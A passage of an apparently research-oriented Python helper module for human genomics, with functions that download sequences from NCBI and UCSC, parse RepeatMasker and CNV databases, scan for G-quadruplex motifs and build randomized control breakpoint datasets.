rg.findall(txt) bins = ["".join(item) for item in m] parsed.update({item: bins}) i += 1 print("found {}".format(item)) except: print("the field {} was empty".format(item)) return parsed except Exception as e: print("ENCODE query falied on chr{}:{}-{}".format(chromosome, start, end)) print(e) return False def compare_patterns(pattA, pattB): """(np.array, np.array) => float Compare two arrays point by point. Return a "raw similarity score". You may want to center the two patterns before compare them. >>> a = np.array([1,2,3,4,5,6,5,4,3,2,1]) >>> a1 = np.array([n+0.1 for n in a]) >>> a2 = np.array([n+1 for n in a]) >>> a3 = np.array([n+10 for n in a]) >>> compare_patterns(a,a) 99.999999999 >>> compare_patterns(a,a1) 95.69696969696969 >>> compare_patterns(a,a2) 56.96969696969697 >>> compare_patterns(a2,a) 72.33766233766234 >>> compare_patterns(center(a),center(a2)) 99.999999999999943 >>> compare_patterns(a,a3) -330.3030303030303 """ if len(pattA) == len(pattB): deltas = [] for i, pA in enumerate(pattA): deltas.append(100 - abs(delta_percent(pA, pattB[i]))) similarity = sum(deltas) / len(pattA) return similarity else: raise ValueError('"pattA" and "pattB" must have same length.') def compare_bins(dict_A, dict_B): """(dict,dict) => dict, dict, dict Compares two dicts of bins. Returns the shared elements, the unique elements of A and the unique elements of B. The dicts shape is supposed to be like this: OrderedDict([('1', ['23280000-23290000', '24390000-24400000', ...]), ('2', ['15970000-15980000', '16020000-16030000', ...]), ('3', ['610000-620000', '3250000-3260000', '6850000-6860000', ...])} """ chrms = [str(x) for x in range(1, 23)] + ["X", "Y"] shared = OrderedDict() unique_A = OrderedDict() unique_B = OrderedDict() for k in chrms: shared.update({k: []}) unique_A.update({k: []}) unique_B.update({k: []}) if k in dict_A and k in dict_B: for bin_ in dict_A[k]: if bin_ in dict_B[k]: shared[k].append(bin_) else: unique_A[k].append(bin_) for bin_ in dict_B[k]: if bin_ not in shared[k]: unique_B[k].append(bin_) elif k not in dict_A: unique_B[k] = [bin_ for bin_ in dict_B[k]] elif k not in dict_B: unique_A[k] = [bin_ for bin_ in dict_A[k]] return shared, unique_A, unique_B # To manage heavy files def yield_file(infile): with open(infile, "r") as f: for line in f: if line[0] not in ["#", "\n", " ", ""]: yield line.strip() # Downaload sequence from ensembl def sequence_from_coordinates(chromosome, strand, start, end, ref_genome=37): """ Download the nucleotide sequence from the gene_name. """ Entrez.email = "a.marcozzi@umcutrecht.nl" # Always tell NCBI who you are if int(ref_genome) == 37: # GRCh37 from http://www.ncbi.nlm.nih.gov/assembly/GCF_000001405.25/#/def_asm_Primary_Assembly NCBI_IDS = { "1": "NC_000001.10", "2": "NC_000002.11", "3": "NC_000003.11", "4": "NC_000004.11", "5": "NC_000005.9", "6": "NC_000006.11", "7": "NC_000007.13", "8": "NC_000008.10", "9": "NC_000009.11", "10": "NC_000010.10", "11": "NC_000011.9", "12": "NC_000012.11", "13": "NC_000013.10", "14": "NC_000014.8", "15": "NC_000015.9", "16": "NC_000016.9", "17": "NC_000017.10", "18": "NC_000018.9", "19": "NC_000019.9", "20": "NC_000020.10", "21": "NC_000021.8", "22": "NC_000022.10", "X": "NC_000023.10", "Y": "NC_000024.9", } elif int(ref_genome) == 38: # GRCh38 from https://www.ncbi.nlm.nih.gov/assembly/GCF_000001405.38 NCBI_IDS = { "1": "NC_000001.11", "2": "NC_000002.12", "3": "NC_000003.12", "4": "NC_000004.12", "5": "NC_000005.10", "6": "NC_000006.12", "7": "NC_000007.14", "8": "NC_000008.11", "9": "NC_000009.12", "10": "NC_000010.11", "11": "NC_000011.10", "12": "NC_000012.12", "13": "NC_000013.11", "14": "NC_000014.9", "15": "NC_000015.10", "16": "NC_000016.10", "17": "NC_000017.11", "18": "NC_000018.10", "19": "NC_000019.10", "20": "NC_000020.11", "21": "NC_000021.9", "22": "NC_000022.11", "X": "NC_000023.11", "Y": "NC_000024.10", } try: handle = Entrez.efetch( db="nucleotide", id=NCBI_IDS[str(chromosome)], rettype="fasta", strand=strand, # "1" for the plus strand and "2" for the minus strand. seq_start=start, seq_stop=end, ) record = SeqIO.read(handle, "fasta") handle.close() sequence = str(record.seq) return sequence except ValueError: print("ValueError: no sequence found in NCBI") return False # GC content calculator def gc_content(sequence, percent=True): """ Return the GC content of a sequence. """ sequence = sequence.upper() g = sequence.count("G") c = sequence.count("C") t = sequence.count("T") a = sequence.count("A") gc_count = g + c total_bases_count = g + c + t + a if total_bases_count == 0: print("Error in gc_content(sequence): sequence may contain only Ns") return None try: gc_fraction = float(gc_count) / total_bases_count except Exception as e: print(e) print(sequence) if percent: return gc_fraction * 100 else: return gc_fraction ##Flexibility calculator## # requires stabflex3.py # Endpoint function to calculate the flexibility of a given sequence def dna_flex(sequence, window_size=500, step_zize=100, verbose=False): """(str,int,int,bool) => list_of_tuples Calculate the flexibility index of a sequence. Return a list of tuples. Each tuple contains the bin's coordinates and the calculated flexibility of that bin. Example: dna_flex(seq_a,500,100) >>> [('0-500', 9.7),('100-600', 9.77),...] """ if verbose: print("Algorithm window size : %d" % window_size) print("Algorithm window step : %d" % step_zize) print("Sequence has {} bases".format(len(self.seq))) algorithm = myFlex(sequence, window_size, step_zize) flexibility_result = algorithm.analyse(flexibility_data) return flexibility_result.report(verbose) ##Repeats scanner## # G-quadruplex def g4_scanner(sequence): """ G-quadruplex motif scanner. Scan a sequence for the presence of the regex motif: [G]{3,5}[ACGT]{1,7}[G]{3,5}[ACGT]{1,7}[G]{3,5}[ACGT]{1,7}[G]{3,5} Reference: http://www.ncbi.nlm.nih.gov/pmc/articles/PMC1636468/ Return two callable iterators. The first one contains G4 found on the + strand. The second contains the complementary G4 found on the + strand, i.e. a G4 in the - strand. """ # forward G4 pattern_f = "[G]{3,5}[ACGT]{1,7}[G]{3,5}[ACGT]{1,7}[G]{3,5}[ACGT]{1,7}[G]{3,5}" result_f = re.finditer(pattern_f, sequence) # reverse G4 pattern_r = "[C]{3,5}[ACGT]{1,7}[C]{3,5}[ACGT]{1,7}[C]{3,5}[ACGT]{1,7}[C]{3,5}" result_r = re.finditer(pattern_r, sequence) return result_f, result_r # Repeat-masker def parse_RepeatMasker(infile="RepeatMasker.txt", rep_type="class"): """ Parse RepeatMasker.txt and return a dict of bins for each chromosome and a set of repeats found on that bin. dict = {'chromosome':{'bin':set(repeats)}} """ chromosomes = [str(c) for c in range(1, 23)] + ["X", "Y"] result = {} if rep_type == "name": idx = 10 # repName elif rep_type == "class": idx = 11 # repClass elif rep_type == "family": idx = 12 # repFamily else: raise NameError( 'Invalid rep_type "{}". Expected "class","family" or "name"'.format( rep_type ) ) # RepeatMasker.txt is around 500MB! for line in yield_file(infile): data = line.split("\t") chromosome = data[5].replace("chr", "") start = data[6] end = data[7] bin_ = "{}-{}".format(start, end) repeat = data[idx].replace("?", "") if chromosome in chromosomes: if chromosome not in result: result.update({chromosome: {bin_: set([repeat])}}) else: if bin_ not in result[chromosome]: result[chromosome].update({bin_: set([repeat])}) else: result[chromosome][bin_].add(repeat) return result def next_day(d="2012-12-04"): """Return the next day in the calendar.""" Y, M, D = d.split("-") t = datetime.date(int(Y), int(M), int(D)) _next = t + datetime.timedelta(1) return str(_next) # next_day('2012-12-31') # >>> '2013-01-01' def previous_day(d="2012-12-04"): """Return the previous day in the calendar.""" Y, M, D = d.split("-") t = datetime.date(int(Y), int(M), int(D)) _prev = t + datetime.timedelta(-1) return str(_prev) # previous_day('2013-01-01') # >>> '2012-12-31' def intersect(list1, list2): """(list,list) => list Return the intersection of two lists, i.e. the item in common. """ return [item for item in list2 if item in list1] def annotate_fusion_genes(dataset_file): """ Uses FusionGenes_Annotation.pl to find fusion genes in the dataset. Generates a new file containing all the annotations. """ start = time.time() print("annotating", dataset_file, "...") raw_output = run_perl("FusionGenes_Annotation.pl", dataset_file) raw_list = str(raw_output)[2:].split("\\n") outfile = dataset_file[:-4] + "_annotated.txt" with open(outfile, "w") as outfile: line_counter = 0 header = [ "##ID", "ChrA", "StartA", "EndA", "ChrB", "StartB", "EndB", "CnvType", "Orientation", "GeneA", "StrandA", "LastExonA", "TotalExonsA", "PhaseA", "GeneB", "StrandB", "LastExonB", "TotalExonsB", "PhaseB", "InFrame", "InPhase", ] outfile.write(list_to_line(header, "\t") + "\n") for item in raw_list: cleaned_item = item.split("\\t") if ( len(cleaned_item) > 10 ): # FusionGenes_Annotation.pl return the data twice. We kepp the annotated one. outfile.write(list_to_line(cleaned_item, "\t") + "\n") line_counter += 1 print( "succesfully annotated", line_counter, "breakpoints from", dataset_file, "in", time.time() - start, "seconds", ) # track threads try: global running_threads running_threads -= 1 except: pass # dataset_file = '/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/public/breaks/Decipher-DeletionsOnly.txt' # annotate_fusion_genes(dataset_file) def blastn( input_fasta_file, db_path="/Users/amarcozzi/Desktop/BLAST_DB/", db_name="human_genomic", out_file="blastn_out.xml", ): """ Run blastn on the local machine using a local database. Requires NCBI BLAST+ to be installed. http://blast.ncbi.nlm.nih.gov/Blast.cgi?CMD=Web&PAGE_TYPE=BlastDocs&DOC_TYPE=Download Takes a fasta file as input and writes the output in an XML file. """ db = db_path + db_name blastn_cline = NcbiblastnCommandline( query=input_fasta_file, db=db, evalue=0.001, outfmt=5, out=out_file ) print(blastn_cline) stdout, stderr = blastn_cline() # to be tested def check_line(line, unexpected_char=["\n", "", " ", "#"]): """ Check if the line starts with an unexpected character. If so, return False, else True """ for item in unexpected_char: if line.startswith(item): return False return True def dice_coefficient(sequence_a, sequence_b): """(str, str) => float Return the dice cofficient of two sequences. """ a = sequence_a b = sequence_b if not len(a) or not len(b): return 0.0 # quick case for true duplicates if a == b: return 1.0 # if a != b, and a or b are single chars, then they can't possibly match if len(a) == 1 or len(b) == 1: return 0.0 # list comprehension, preferred over list.append() ''' a_bigram_list = [a[i : i + 2] for i in range(len(a) - 1)] b_bigram_list = [b[i : i + 2] for i in range(len(b) - 1)] a_bigram_list.sort() b_bigram_list.sort() # assignments to save function calls lena = len(a_bigram_list) lenb = len(b_bigram_list) # initialize match counters matches = i = j = 0 while i < lena and j < lenb: if a_bigram_list[i] == b_bigram_list[j]: matches += 2 i += 1 j += 1 elif a_bigram_list[i] < b_bigram_list[j]: i += 1 else: j += 1 score = float(matches) / float(lena + lenb) return score def find_path(graph, start, end, path=[]): """ Find a path between two nodes in a graph. Works on graphs like this: graph ={'A': ['B', 'C'], 'B': ['C', 'D'], 'C': ['D'], 'D': ['C'], 'E': ['F'], 'F': ['C']} """ path = path + [start] if start == end: return path if not graph.has_key(start): return None for node in graph[start]: if node not in path: newpath = find_path(graph, node, end, path) if newpath: return newpath return None def find_all_paths(graph, start, end, path=[]): """ Find all paths between two nodes of a graph. Works on graphs like this: graph ={'A': ['B', 'C'], 'B': ['C', 'D'], 'C': ['D'], 'D': ['C'], 'E': ['F'], 'F': ['C']} """ path = path + [start] if start == end: return [path] if not graph.has_key(start): return [] paths = [] for node in graph[start]: if node not in path: newpaths = find_all_paths(graph, node, end, path) for newpath in newpaths: paths.append(newpath) return paths def find_shortest_path(graph, start, end, path=[]): """ Find the shortest path between two nodes of a graph. Works on graphs like this: graph ={'A': ['B', 'C'], 'B': ['C', 'D'], 'C': ['D'], 'D': ['C'], 'E': ['F'], 'F': ['C']} """ path = path + [start] if start == end: return path if not graph.has_key(start): return None shortest = None for node in graph[start]: if node not in path: newpath = find_shortest_path(graph, node, end, path) if newpath: if not shortest or len(newpath) < len(shortest): shortest = newpath return shortest # ## # graph = {'A': ['B', 'C'], # 'B': ['C', 'D'], # 'C': ['D'], # 'D': ['C'], # 'E': ['F'], # 'F': ['C']} # >>> find_path(graph, 'A', 'D') # ['A', 'B', 'C', 'D'] # >>> find_all_paths(graph, 'A', 'D') # [['A', 'B', 'C', 'D'], ['A', 'B', 'D'], ['A', 'C', 'D']] # >>> find_shortest_path(graph, 'A', 'D') # ['A', 'C', 'D'] def gen_rnd_string(length): """ Return a string of uppercase and lowercase ascii letters. """ s = [l for l in string.ascii_letters] random.shuffle(s) s = "".join(s[:length]) return s def gene_synonyms(gene_name): """str => list() Queries http://rest.genenames.org and returns a list of synonyms of gene_name. Returns None if no synonym was found. """ result = [] headers = {"Accept": "application/json"} uri = "http://rest.genenames.org" path = "/search/{}".format(gene_name) target = urlparse(uri + path) method = "GET" body = "" h = http.Http() response, content = h.request(target.geturl(), method, body, headers) if response["status"] == "200": # assume that content is a json reply # parse content with the json module data = json.loads(content.decode("utf8")) for item in data["response"]["docs"]: result.append(item["symbol"]) return result else: print("Error detected: " + response["status"]) return None # print(gene_synonyms('MLL3')) def string_to_number(s): """ Convert a bytes string into a single number. Example: >>> string_to_number('foo bar baz') 147948829660780569073512294 """ return int.from_bytes(s.encode(), "little") def number_to_string(n): """ Convert a number into a bytes string. Example: >>> number_to_string(147948829660780569073512294) 'foo bar baz' """ return n.to_bytes(math.ceil(n.bit_length() / 8), "little").decode() # x = 147948829660780569073512294 # number_to_string(x) # >>> 'foo bar baz' def determine_average_breaks_distance(dataset): # tested only for deletion/duplication """ Evaluate the average distance among breaks in a dataset. """ data = extract_data(dataset, columns=[1, 2, 4, 5], verbose=False) to_average = [] for item in data: if item[0] == item[2]: to_average.append(int(item[3]) - int(item[1])) return sum(to_average) / len(to_average) # print(determine_average_breaks_distance('/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/random/sorted/rnd_dataset_100_annotated_sorted.txt')) def dict_overview(dictionary, how_many_keys, indent=False): """ Prints out how_many_elements of the target dictionary. Useful to have a quick look at the structure of a dictionary. """ ks = list(islice(dictionary, how_many_keys)) for k in ks: if indent: print(f"{k}\n\t{dictionary[k]}") else: print(f"{k}\t{dictionary[k]}") def download_human_genome(build="hg19"): if build == "hg19": run('wget -O hg19.fa.gz -r https://hgdownload.soe.ucsc.edu/goldenPath/hg19/bigZips/latest/hg19.fa.gz', shell=True) elif build == "hg38": run('wget -O hg38.fa.gz -r https://hgdownload.soe.ucsc.edu/goldenPath/hg38/bigZips/latest/hg38.fa.gz', shell=True) print('Invalid build. Accepted values are: hg19, hg38') def download_human_genome_old( build = "GRCh37", entrez_usr_email = "a.marcozzi@umcutrecht.nl" ): """ Download the Human genome from enterez. """ Entrez.email = entrez_usr_email # Last available version if build == "GRCh37": # GRCh37 from http://www.ncbi.nlm.nih.gov/assembly/GCF_000001405.25/#/def_asm_Primary_Assembly NCBI_IDS_GRCh37 = { "1": "NC_000001.10", "2": "NC_000002.11", "3": "NC_000003.11", "4": "NC_000004.11", "5": "NC_000005.9", "6": "NC_000006.11", "7": "NC_000007.13", "8": "NC_000008.10", "9": "NC_000009.11", "10": "NC_000010.10", "11": "NC_000011.9", "12": "NC_000012.11", "13": "NC_000013.10", "14": "NC_000014.8", "15": "NC_000015.9", "16": "NC_000016.9", "17": "NC_000017.10", "18": "NC_000018.9", "19": "NC_000019.9", "20": "NC_000020.10", "21": "NC_000021.8", "22": "NC_000022.10", "X": "NC_000023.10", "Y": "NC_000024.9", } CHR_LENGTHS_GRCh37 = { "1": 249250621, "2": 243199373, "3": 198022430, "4": 191154276, "5": 180915260, "6": 171115067, "7": 159138663, "8": 146364022, "9": 141213431, "10": 135534747, "11": 135006516, "12": 133851895, "13": 115169878, "14": 107349540, "15": 102531392, "16": 90354753, "17": 81195210, "18": 78077248, "19": 59128983, "20": 63025520, "21": 48129895, "22": 51304566, "X": 155270560, "Y": 59373566, } NCBI_IDS = NCBI_IDS_GRCh37 CHR_LENGTHS = CHR_LENGTHS_GRCh37 elif build == "GRCh38": NCBI_IDS_GRCh38 = { "1": "NC_000001.11", "2": "NC_000002.12", "3": "NC_000003.12", "4": "NC_000004.12", "5": "NC_000005.10", "6": "NC_000006.12", "7": "NC_000007.14", "8": "NC_000008.11", "9": "NC_000009.12", "10": "NC_000010.11", "11": "NC_000011.10", "12": "NC_000012.12", "13": "NC_000013.11", "14": "NC_000014.9", "15": "NC_000015.10", "16": "NC_000016.10", "17": "NC_000017.11", "18": "NC_000018.10", "19": "NC_000019.10", "20": "NC_000020.11", "21": "NC_000021.9", "22": "NC_000022.11", "X": "NC_000023.11", "Y": "NC_000024.10", } CHR_LENGTHS_GRCh38 = { "1": 248_956_422, "2": 242_193_529, "3": 198_295_559, "4": 190_214_555, "5": 181_538_259, "6": 170_805_979, "7": 159_345_973, "8": 145_138_636, "9": 138_394_717, "10": 133_797_422, "11": 135_086_622, "12": 133_275_309, "13": 114_364_328, "14": 107_043_718, "15": 101_991_189, "16": 90_338_345, "17": 83_257_441, "18": 80_373_285, "19": 58_617_616, "20": 64_444_167, "21": 46_709_983, "22": 50_818_468, "X": 156_040_895, "Y": 57_227_415, } NCBI_IDS = NCBI_IDS_GRCh38 CHR_LENGTHS = CHR_LENGTHS_GRCh38 else: print("This function only work with the genome builds GRCh37 & GRCh38 fow now...") return False with open(f"Homo_sapiens_assembly{build}.fasta", "w") as f: for chromosome, nc_id in NCBI_IDS.items(): print(f"downloading {nc_id}") length = CHR_LENGTHS[chromosome] sequence = False try: # Always tell NCBI who you are handle = Entrez.efetch( db="nucleotide", id=nc_id, rettype="fasta", strand=1, seq_start=0, # this is to obtain actual start coordinates from the index seq_stop=length, ) # this is the end of the chromosome record = SeqIO.read(handle, "fasta") handle.close() sequence = str(record.seq) header = f'>{chromosome} dna:chromosome chromosome:{build}:{chromosome}:1:{length}:1' f.write(f'{header}\n{sequence}\n') except ValueError: print("ValueError: no sequence found in NCBI") def exponential_range(start=0, end=10000, base=10): """ Generates a range of integer that grow exponentially. Example: list(exp_range(0,100000,2)) Output :[0, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 2048, 4096, 8192, 16384, 32768, 65536] """ if end / base < base: raise ValueError('"end" must be at least "base**2"') result = [] new_start = start new_end = base ** 2 new_base = base while new_start < end: result.append(range(new_start, new_end, new_base)) new_start = new_end new_end = new_start * base new_base = new_base * base # print(result) for item in result: for i in item: yield i ##list(exp_range(0,100000,10)) def extract_data( infile, columns=[3, 0, 1, 2, 5], header="##", skip_lines_starting_with="#", data_separator="\t", verbose=False, ): """ Extract data from a file. Returns a list of tuples. Each tuple contains the data extracted from one line of the file in the indicated columns and with the indicated order. """ extracted_data = [] header_list = [] header_flag = 0 line_counter = 0 with open(infile) as infile: lines = infile.readlines() for line in lines: # yield_file(infile) can be used instead line_counter += 1 if line[: len(header)] == header: # checks the header header_list = line_to_list(line[len(header) :], data_separator) header_flag += 1 if header_flag > 1: raise ValueError( 'More than one line seems to contain the header identificator "' + header + '".' ) elif ( line[0] == skip_lines_starting_with or line == "" or line == "\n" ): # skips comments and blank lines pass else: list_ = line_to_list(line, data_separator) reduced_list = [] for item in columns: reduced_list.append(list_[item]) extracted_data.append(tuple(reduced_list)) if verbose == True: # Prints out a brief summary print("Data extracted from", infile) print("Header =", header_list) print("Total lines =", line_counter) return extracted_data # extract_data('tables/clinvarCnv.txt', columns=[3,0,1,2,5], header='##', skip_lines_starting_with='#', data_separator='\t', verbose=True) def extract_Toronto(infile, outfile): """ Ad hoc function to extract deletions and duplications out of the Toronto Genetic Variants Database. Returns a file ready to be annotated with FusionGenes_Annotation.pl . """ # Extract data from infile # Columns are: ID, Chr, Start, End, CNV_Type raw_data = extract_data(infile, columns=[0, 1, 2, 3, 5], verbose=True) # Take only deletions and duplications filtered_data = [] for data in raw_data: if "deletion" in data or "duplication" in data: filtered_data.append(data) print("len(row_data) :", len(raw_data)) print("len(filtered_data) :", len(filtered_data)) # Write filtered_data to a text file header = [ "##ID", "ChrA", "StartA", "EndA", "ChrB", "StartB", "EndB", "CnvType", "Orientation", ] with open(outfile, "w") as outfile: outfile.write(list_to_line(header, "\t") + "\n") for item in filtered_data: if item[-1] == "duplication": orientation = "HT" elif item[-1] == "deletion": orientation = "TH" else: print('ERROR: unable to determine "Orientation"...') list_ = [ item[0], item[1], item[2], item[2], item[1], item[3], item[3], item[-1].upper(), orientation, ] outfile.write(list_to_line(list_, "\t") + "\n") print("Done") # infile = '/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/public/GRCh37_hg19_variants_2014-10-16.txt' # outfile = infile[:-4]+'_DelDupOnly.txt' # extract_Toronto(infile, outfile) def extract_Decipher(infile, outfile): """ Ad hoc function to extract deletions and duplications out of the Decipher Database. Returns a file ready to be annotated with FusionGenes_Annotation.pl . """ # Extract data from infile # Columns are: ID, Chr, Start, End, CNV_Type(here expressed as "mean_ratio") raw_data = extract_data(infile, columns=[0, 3, 1, 2, 4], verbose=True) header = [ "##ID", "ChrA", "StartA", "EndA", "ChrB", "StartB", "EndB", "CnvType", "Orientation", ] with open(outfile, "w") as outfile: outfile.write(list_to_line(header, "\t") + "\n") for item in raw_data: # Convert mean_ratio to CnvType if float(item[-1]) > 0: CnvType = "DUPLICATION" orientation = "HT" elif float(item[-1]) < 0: CnvType = "DELETION" orientation = "TH" else: print('ERROR: unable to determine "Orientation"...') # Write output list_ = [ item[0], item[1], item[2], item[2], item[1], item[3], item[3], CnvType, orientation, ] outfile.write(list_to_line(list_, "\t") + "\n") print("Done") # infile = '/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/public/decipher-hg19_15-01-30.txt' # outfile = infile[:-4]+'_DelDupOnly.txt' # extract_Decipher(infile, outfile) def extract_dgvMerged(infile, outfile): """ Ad hoc function to extract deletions and losses out of the dgvMerged database. Returns a file ready to be annotated with FusionGenes_Annotation.pl . """ # original_header = '##bin chrom chromStart chromEnd name score strand thickStart thickEnd itemRgb varType reference pubMedId method platform mergedVariants supportingVariants sampleSize observedGains observedLosses cohortDescription genes samples' # [0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] raw_data = extract_data( infile, columns=[4, 1, 2, 3, 10], header="##", skip_lines_starting_with="#", data_separator="\t", verbose=False, ) # Take only deletions and losses filtered_data = [] for data in raw_data: if "Deletion" in data or "Loss" in data: filtered_data.append(data) print("len(row_data) :", len(raw_data)) print("len(filtered_data) :", len(filtered_data)) # Write filtered_data to a text file header = [ "##ID", "ChrA", "StartA", "EndA", "ChrB", "StartB", "EndB", "CnvType", "Orientation", ] with open(outfile, "w") as outfile: outfile.write(list_to_line(header, "\t") + "\n") for item in filtered_data: if item[-1] == "Deletion" or item[-1] == "Loss": cnv_type = "DELETION" orientation = "HT" # elif item[-1] == 'deletion': # orientation = 'TH' else: print('ERROR: unable to determine "Orientation"...') list_ = [ item[0], item[1][3:], item[2], item[2], item[1][3:], item[3], item[3], cnv_type, orientation, ] outfile.write(list_to_line(list_, "\t") + "\n") print("Done") # ## Extract deletions and Losses from dgvMerged # folder = '/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/public/breaks' # file_name = 'dgvMerged.txt' # infile = folder + '/' + file_name # outfile = folder + '/' + 'dgvMerged-DeletionsOnly.txt' # extract_dgvMerged(infile, outfile) # ## annotate # dataset_file = '/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/public/breaks/dgvMerged-DeletionsOnly.txt' # annotate_fusion_genes(dataset_file) def fill_and_sort(pandas_chrSeries): """incomplete pandas.Series => complete and sorted pandas.Series Given a pandas.Series in which the first argument is the chromosome name and the second argument is a count " [('1', 61), ('3', 28), ..., ('X', 29)]" This function returns a new (sorted by chromosome) series with the missing chromosome included as ('Chr_name',0). This is useful when creating series out of subsets grouped by Chr. If the Chr does not contains any event, then it will be excluded from the subset. However, expecially for plotting reasons, you may want to have ('Chr',0) in you list instead of a missing Chr. Example. > series = [('1', 61), ('3', 28), ..., ('X', 29)] # in this Series Chr_2 and Chr_Y are missing. > fill_and_sort(series) >>> [('1', 61), ('2',0), ('3', 28), ..., ('X', 29), ('Y',0)] # this Series have all the chromosomes """ # add missing ChrA CHROMOSOMES = [str(c) for c in range(1, 23)] + ["X", "Y"] chr_list = CHROMOSOMES[:] complete_series = [] for item in pandas_chrSeries.iteritems(): chr_list.remove(item[0]) complete_series.append(item) for item in chr_list: complete_series.append((item, 0)) # sort by chromosome sorted_ = [] for item in CHROMOSOMES: for _item in complete_series: if _item[0] == item: sorted_.append(_item[1]) return pd.Series(sorted_, index=CHROMOSOMES) # counts = [50,9,45,6] # pandas_chrSeries = pd.Series(counts, index=['1','4','X','10']) # print(pandas_chrSeries) # good_series = fill_and_sort(pandas_chrSeries) # print(good_series) def find(string, char): """ Looks for a character in a sctring and returns its index. """ # Compared to string.find(), it returns ALL the indexes, not only the first one. return [index for index, letter in enumerate(string) if letter == char] # print(find('alessio', 's')) def filter_out(word, infile, outfile): """ Reads a file line by line and writes an output file containing only the lines that DO NOT contains 'word'. """ print("Filtering out lines containing", word, "...") with open(infile, "r") as infile: lines = infile.readlines() with open(outfile, "w") as outfile: for line in lines: # yield_file(infile) can be used instead if word not in line: outfile.write(line) print("Done") # infile = '/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/public/breaks/Decipher_DelDupOnly.txt' # outfile = '/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/public/breaks/Decipher-DeletionsOnly.txt' # filter_out('DUPLICATION',infile, outfile) flatten = lambda l: [item for sublist in l for item in sublist] def gene_synonyms(gene_name): """str => list() Queries http://rest.genenames.org and http://www.ncbi.nlm.nih.gov/ to figure out the best synonym of gene_name. """ result = [] tmp = [] headers = {"Accept": "application/json"} uri = "http://rest.genenames.org" path = "/search/{}".format(gene_name) html_doc = urlopen( "http://www.ncbi.nlm.nih.gov/gene/?term={}[sym]".format(gene_name) ) html_txt = BeautifulSoup(html_doc, "html.parser").get_text() target = urlparse(uri + path) method = "GET" body = "" h = http.Http() response, content = h.request(target.geturl(), method, body, headers) if response["status"] == "200": # assume that content is a json reply # parse content with the json module data = json.loads(content.decode("utf8")) for item in data["response"]["docs"]: tmp.append(item["symbol"]) else: print("Error detected: " + response["status"]) return None if len(tmp) > 1: for gene in tmp: if gene in html_txt: result.append(gene) return result else: return tmp # print(gene_synonyms('MLL3')) def gen_controls(how_many, chromosome, GapTable_file, outfile): global running_threads # in case of multithreading list_brkps = gen_rnd_single_break( how_many, chromosome, GapTable_file, verbose=False ) with open(outfile, "w") as f: for item in list_brkps: f.write(list_to_line(item, "\t") + "\n") running_threads -= 1 # in case of multithreading # # Generate controls # import time # from threading import Thread # threads = 0 # running_threads = 0 # max_simultaneous_threads = 20 # how_many=9045 # chromosome='9' # GapTable_file='/Users/alec/Desktop/UMCU_Backup/Projects/Anne_Project/current_brkps_DB/out_ALL_gap.txt' # while threads < 100: # while running_threads >= max_simultaneous_threads: # time.sleep(1) # running_threads += 1 # outfile = '/Users/alec/Desktop/UMCU_Backup/Projects/Anne_Project/current_brkps_DB/out_chr9_control_'+str(threads)+'.txt' # print('thread', threads, '|', 'running threads:',running_threads) # Thread(target=gen_controls, args=(how_many,chromosome,GapTable_file,outfile)).start() # threads += 1 def gen_control_dataset( real_dataset, suffix="_control.txt" ): # tested only for deletion/duplication """ Generates a control dataset ad hoc. Takes as input an existing dataset and generates breaks in the same chromosomes and with the same distance (+-1bp), the position are however randomized. """ real_data = extract_data(real_dataset, columns=[1, 2, 4, 5, 7, 8], verbose=False) control_data = [] _id_list = [] for item in real_data: if item[0] == item[2]: # ChrA == ChrB # generate a unique id _id = gen_rnd_id(16) while _id in _id_list: _id = gen_rnd_id(16) _id_list.append(_id) chromosome = item[0] distance = int(item[3]) - int(item[1]) # cnv_type = item[4] orientation = item[5] breaks = gen_rnd_breaks( how_many=1, chromosome=chromosome, min_distance=distance - 1, max_distance=distance + 1, GapTable_file="tables/gap.txt", ) print(breaks) control_data.append( [ _id, chromosome, breaks[0][1], breaks[0][1], chromosome, breaks[0][2], breaks[0][2], cnv_type, orientation, ] ) else: print(item[0], "is no equal to", item[2], "I am skipping these breaks") header = [ "##ID", "ChrA", "StartA", "EndA", "ChrB", "StartB", "EndB", "CnvType", "Orientation", ] filename = real_dataset[:-4] + suffix with open(filename, "w") as outfile: outfile.write(list_to_line(header, "\t") + "\n") for item in control_data: line = list_to_line(item, "\t") print(line) outfile.write(line + "\n") print("Data written in", filename) # gen_control_dataset('/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/raw/clinvarCnv-DeletionsOnly.txt') def gen_gap_table( infile="/Users/amarcozzi/Desktop/All_breakpoints_HG19_final.txt", outfile="/Users/amarcozzi/Desktop/All_breakpoints_HG19_gap.txt", resolution=10000, ): """ Generates a file containing a list of coordinates for wich no brakpoints have been found in the input file. """ # Global constants CHROMOSOMES = [str(c) for c in range(1, 23)] + ["X", "Y"] # length of chromosomes based on GRCh37 (Data source: Ensembl genome browser release 68, July 2012) # http://jul2012.archive.ensembl.org/Homo_sapiens/Location/Chromosome?r=1:1-1000000 # http://grch37.ensembl.org/Homo_sapiens/Location/Chromosome?r=1:24626643-24726643 CHR_LENGTHS = { "1": 249250621, "2": 243199373, "3": 198022430, "4": 191154276, "5": 180915260, "6": 171115067, "7": 159138663, "8": 146364022, "9": 141213431, "10": 135534747, "11": 135006516, "12": 133851895, "13": 115169878, "14": 107349540, "15": 102531392, "16": 90354753, "17": 81195210, "18": 78077248, "19": 59128983, "20": 63025520, "21": 48129895, "22": 51304566, "X": 155270560, "Y": 59373566, } gap_list = [] for Chr in CHROMOSOMES: print("-----------------------------------------------------") print("Analyzing breakpoints in chromosome", Chr) length = CHR_LENGTHS[Chr] # determine the intervals given the chromosome length and the resolution x_ax = [] # data holder y_ax = [] # stores breakpoint counts per inteval breakpoint_list = [] # # Extract data from infile, chromosome by chromosome # with open(infile, 'r') as f: # lines = f.readlines() # for line in lines: # yield_file(infile) can be used instead # if line.startswith('chr'+Chr+':'): # tmp = line.split(':') # breakpoint = tmp[1].split('-')[0] # breakpoint_list.append(int(breakpoint)) # print(len(breakpoint_list),'breakpoints found...') with 